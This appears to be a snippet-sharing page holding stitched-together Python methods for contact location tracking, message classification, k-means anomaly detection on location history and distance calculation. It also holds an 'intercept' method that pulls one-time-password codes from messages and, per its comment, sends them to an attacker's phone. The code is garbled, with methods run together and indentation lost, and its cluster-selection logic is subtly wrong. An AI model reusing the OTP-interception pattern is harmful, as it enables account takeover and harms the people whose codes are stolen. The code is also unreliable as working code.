Views
No views yet
def get_location(self, contact):
# Get the latitude and longitude of the contact's location
latitude = contact["latitude"]
longitude = contact["longitude"]
# Return a tuple containing the latitude and longitude
return (latitude, longitude)def classify(self, messages):
# Tokenize the messages
inputs = self.tokenizer(messages, padding=True, truncation=True, return_tensors="pt")
# Classify the messages
outputs = self.model(**inputs)
probs = torch.nn.functional.softmax(outputs[0], dim=-1)
labels = torch.argmax(probs, axis=1)
# Convert the labels to a numpy array and return them
return labels.numpy()def detect(self, location_history):
# Convert the location history to a pandas DataFrame
df = pd.DataFrame(location_history, columns=["latitude", "longitude"])
# Determine the optimal number of clusters using the elbow method
distortions = []
K = range(1, self.num_clusters+1)
for k in K:
kmeans = KMeans(n_clusters=k, random_state=0).fit(df)
distortions.append(sum(np.min(cdist(df, kmeans.cluster_centers_, 'euclidean'), axis=1)) / df.shape[0])
k_opt = K[np.argmin(distortions)]
# Perform clustering
kmeans = KMeans(n_clusters=k_opt, random_state=0).fit(df)
df["label"] = kmeans.labels_
# Determine which clusters are anomalous
cluster_counts = df["label"].value_counts()
anomalous_clusters = cluster_counts[cluster_counts < cluster_counts.quantile(0.1)].index
# Determine which points are anomalous
anomalous_points = df[df["label"].isin(anomalous_clusters)]
# Convert the anomalous points to a list of dictionaries and return them
return anomalous_points.to_dict("records")def get_distance(self, contact_location):
# Calculate the distance between the user's location and the contact's location
distance = geopy.distance.distance(self.location, contact_location).km
# Return the distance
return distancedef intercept(self, message):
# Check if the message contains the OTP code
if "OTP code" in message:
# Intercept the OTP code and send it to the attacker's phone
otp_code = message.split(":")[-1]
self.protocol.send_otp_code(otp_code)def bypass(self):
# Bypass the legacy protocol and send the message using the new protocol
self.protocol.use_new_protocol() return []